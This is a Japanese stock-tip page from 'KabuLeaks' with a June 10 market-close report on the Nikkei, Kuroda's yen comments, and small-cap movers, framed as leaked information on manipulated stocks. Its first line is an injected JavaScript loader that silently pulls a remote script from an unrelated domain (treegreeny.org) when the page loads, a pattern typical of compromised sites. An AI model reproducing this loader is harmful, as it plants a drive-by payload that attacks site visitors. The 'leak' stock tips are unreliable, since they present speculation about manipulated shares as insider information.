;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【6/10 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【6/10 大引け】

【3850】エヌ・ティ・ティ・データ・イントラマート 1,879 円 -181 (-8.78%)

【7709】クボテック 1,274円 +57 (+4.68%)

【3653】モルフォ 7,380円 +290 (+4.09%)

本日の日経平均株価は49円安の4日続落。後場寄り付きこそは買いが先行したものの、黒田銀総裁が円相場について言及したことを受け円高・ドル安が急速に加速し、マイナス転換。輸出関連銘柄を中心に大量の売り出る流れとなった。一巡後は節目とされる2万円をサポートに再びプラス圏に切り返す場面あったが上値は重く再度マイナス圏に沈んだ。業種別では、鉱業、非鉄金属、電気・ガス、サービスが値上がり上位に。一方、海運、陸運、空輸、倉庫運輸などが値下がり上位となった。

個別では、前場引け後に自社株買いを発表した【2345】システム・テクノロジー・アイが急伸ストップ高まで買われたほか、値動きの軽い中小型物色の思惑か【6659】メディアグローバルリンクスや【6836】ぷらっとホームが急伸する場面も。また、【5104】日東化工、【6493】日鍛バルブなどが後場一段高となった。

後場は黒田総裁が国会で「実質実効為替レートがさらに円安に振れるとは普通に考えればありそうにない」と、円安けん制と受け止められ急落。この発言がしばらく尾を引く可能性があるほか、週末のSQ。ここ数日ボラティリティが急速に上昇しており、上にも下にも波乱含みの展開と引き続き意識しておいたほうがよさそうだ。